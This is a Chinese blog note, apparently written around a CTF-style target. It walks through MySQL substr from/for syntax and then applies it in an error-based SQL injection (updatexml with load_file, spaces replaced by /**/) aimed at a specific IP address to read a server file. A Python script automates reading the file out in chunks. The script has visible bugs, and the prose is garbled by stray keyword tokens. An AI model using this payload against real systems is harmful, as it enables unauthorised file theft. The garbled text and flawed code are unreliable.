http://103.238.227.13:10088/?id=1html
在讀取文件的時候發現不可以一會兒所有讀取出來。通過百度學習了一下,看到別人使用from for說實在此前真不知道這操做。python
先來看一下from for吧mysql
1 mysql> select database(); 2 +------------+ 3 | database() | 4 +------------+ 5 | typecho | 6 +------------+ 7 1 row in set (0.00 sec) 8 9 mysql> select substr(database() from 1 for 2); 10 +---------------------------------+ 11 | substr(database() from 1 for 2) | 12 +---------------------------------+ 13 | ty | 14 +---------------------------------+ 15 1 row in set (0.00 sec) 16 17 mysql> select substr(database() from 2 for 3); 18 +---------------------------------+ 19 | substr(database() from 2 for 3) | 20 +---------------------------------+ 21 | ype | 22 +---------------------------------+ 23 1 row in set (0.00 sec)
#說明前面一個數字是從第幾個開始讀取,最後的一個數字是讀取的長度。
大概懂了吧,就是起到一個分頁的效果。sql
那麼再用到注入裏天然就OK了。typecho
PS:過濾了空格能夠用使用/**/進行替換,還有就是updatexml最多隻能顯示32位的長度,因此for的數字是32。學習
http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(1,(select/**/substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))from/**/1/**/for/**/32)),1),1)url
而後寫一個腳本吧from後面的數字每次+32,for也要加就能夠了。spa
如下腳本待完善。code
1 #!/usr/bin/env python 2 #encoding:utf-8 3 #by i3ekr 4 5 import requests,re 6 from lxml import etree 7 n1 = 1 8 n2 = 32 9 10 for i in range(0,100): 11 url =""" 12 http://103.238.227.13:10088/?id=1/**/and/**/updatexml(1,concat(1,(select/**/substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))from/**/%d/**/for/**/%d)),1),1) 13 """%(n1,n2) 14 html = requests.get(url,timeout=5).text 15 print(html) 16 result=re.findall(html,"[A-Z][0-9][A-Z][0-9]") 17 result = re.findall("[A-Z][0-9][A-Z][0-9]{29}",html) 18 print(result) 19 n1+=31 20 n2+=32